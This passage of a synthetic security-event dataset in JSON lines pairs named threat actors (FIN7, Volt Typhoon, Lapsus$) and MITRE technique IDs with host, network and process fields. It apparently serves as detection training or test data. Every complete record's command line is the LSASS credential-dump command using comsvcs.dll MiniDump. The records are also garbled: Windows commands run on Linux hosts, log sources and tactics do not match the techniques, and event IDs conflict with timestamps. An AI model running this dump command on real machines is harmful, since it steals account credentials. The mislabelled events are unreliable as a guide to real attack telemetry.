beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-30T03:09:01.000Z","user":{"name":"azuread\\cj854rmzb6nj","sid":"S-1-5-21-694095592-375361406-8223"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Collection"],"technique_id":"T1531"},"event_id":"evt_fin7_20250305T223051000Z_0008991","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.232.107.131","name":"DB-ORACLE-3R986MCBCK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8991FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.1.82.231","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2038 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-06-25T21:15:25.000Z","user":{"name":"CORP\\ryeo0fs69wc1","sid":"S-1-5-21-820123545-793173307-4606"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection","Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20260908T115353000Z_0008993","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.73.131.84","name":"EC2-INST-ANKANZ9E6B","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8993Volt TyphoonT1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.9.189.64","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1884 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-17T17:30:26.000Z","user":{"name":"i-atnc4acrt3yb","sid":"S-1-5-21-344446297-108461978-6807"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Exfiltration","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250530T224930000Z_0008995","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.232.235.107","name":"APP-WEB-WW2E573L8Z","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8995Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.41.12.54","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2139 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-24T09:37:30.000Z","user":{"name":"i-8zip9hbbcyll","sid":"S-1-5-21-860635889-561868958-5817"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260624T063303000Z_0008997","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.224.57.173","name":"AZURE-VM-BBVXDHOWY7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8997FIN7T1546.003"},"network":{"domain":"github.com","dst_ip":"1.91.96.237","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2941 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-03T03:56:41.000Z","user":{"name":"azuread\\og11ox8p5nqr","sid":"S-1-5-21-275039061-879682919-5036"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation","Lateral Movement","Execution"],"technique_id":"T1566.001"},"event_id":"evt_fin7_20251012T125103000Z_0008999","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.215.176.173","name":"AZURE-VM-J3BBE3YI4X","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8999FIN7T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.15.94.68","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 947 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-06T22:41:36.000Z","user":{"name":"svc_05ldnjoa1yjk","sid":"S-1-5-21-882214667-902328584-3328"}}